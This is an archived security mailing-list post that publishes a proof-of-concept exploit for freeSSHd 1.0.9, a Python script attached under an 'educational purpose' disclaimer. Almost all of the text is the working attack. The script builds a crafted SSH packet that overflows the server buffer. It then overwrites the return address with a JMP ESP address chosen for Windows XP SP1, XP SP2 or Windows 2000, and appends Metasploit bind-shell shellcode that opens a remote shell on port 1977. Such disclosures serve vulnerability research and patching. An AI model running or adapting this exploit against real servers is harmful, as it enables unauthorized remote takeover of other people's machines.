AOH :: HP Unsorted F :: B06-2218.HTM

Freesshd version 1.0.9 proof of concept exploit



POC exploit for freeSSHd version 1.0.9
POC exploit for freeSSHd version 1.0.9



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Hi all,

Attachment is the POC exploit for freeSSHd version
1.0.9

Advisories:
http://www.securityfocus.com/bid/17958 
http://www.frsirt.com/english/advisories/2006/1786 

This was coded for the educational purpose.

Regards,

Tauqeer Ahmad

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Content-Type: text/plain; name="ssh.py"
Content-Description: 2680392359-ssh.py
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#!/usr/bin/env python

"""
Coded by Tauqeer Ahmad a.k.a 0x-Scientist-x0
ahmadtauqeer[at]yahoo.com
Disclaimer: This Proof of concept exploit is for educational purpose only.
            Please do not use it against any system without prior permission.
            You are responsible for yourself for what you do with this code.

Greetings: All the Pakistani White Hats including me ;)
Flames:    To all the skript kiddies out there. Man grow up!.
Code tasted against freeSSHd version 1.0.9
If you didn't get shell at first try, try few times and you will get lucky

Advisories:
http://www.securityfocus.com/bid/17958 
http://www.frsirt.com/english/advisories/2006/1786 

"""
import socket
import getopt
import sys

host = "192.168.0.2"
port = 0
eip =""

#/* win32_bind - EXITFUNC=thread LPORT=1977 Size=317 Encoder=None http://metasploit.com */ 
shellcode =     "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \
                "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \
                "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \
                "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \
                "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \
                "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \
                "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \
                "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \
                "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \
                "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" \
                "\x66\x68\x07\xb9\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" \
                "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" \
                "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" \
                "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" \
                "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" \
                "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" \
                "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" \
                "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" \
                "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" \
                "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"


def exploit():

    buff = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
           "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"

    buff = buff + "A" * 1055
    buff = buff + eip
    buff = buff + "yyyy"
    buff = buff + "\x90" * 4
    buff = buff + shellcode
    buff = buff + "B" * 19021 + "\r\n" 

    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((host, port))
    print "+ Recive reply from server: " + sock.recv(1000)
    
    sock.send(buff)
    print "+ SSHD exploited. Now telnet to port 1977 to get shell "
    print "+ if you didnt get shell in first try.Try again until you success"

    sock.close()
    sock = None

       
def usage():
    print "#############################################"
    print "#           CODED BY TAUQEER AHMAD          #"
    print "#                 Scientist                 #" 
    print "#############################################"
    print "\n"
    print "Usage: %s -h  -p  -o " % sys.argv[0]
    print "Following OS supported\n"
    print "1 Window XP SP1"
    print "2 Window XP SP2"
    print "3 Windows 2000 Advanced Server"
   

if __name__ == '__main__':

    if len(sys.argv) < 7:
        usage()
        sys.exit()
        
    try:
        options = getopt.getopt(sys.argv[1:], 'h:p:o:')[0]
    except getopt.GetoptError, err:
        print err
        usage()
        sys.exit()
	
    
    for option, value in options:
        if option == '-h':
            host = value
        if option == '-p':
            port = int(value)
        if option == '-o':
            if value == '1':
                eip = "\xFC\x18\xD7\x77"  # 77D718FC JMP ESP IN USER32.dll (Windows Xp professional SP1)
            elif value == '2':
                eip = "\x0A\xAF\xD8\x77"  # 77D8AF0A JMP ESP IN USER32.DLL (Windows Xp professional SP2)              
            elif value == '3':
                eip = "\x4D\x3F\xE3\x77"  # 77E33F4D JMP ESP IN USER32.DLL (windows 2000 advanced server)
            else:
                usage()
                sys.exit()

    exploit()
    








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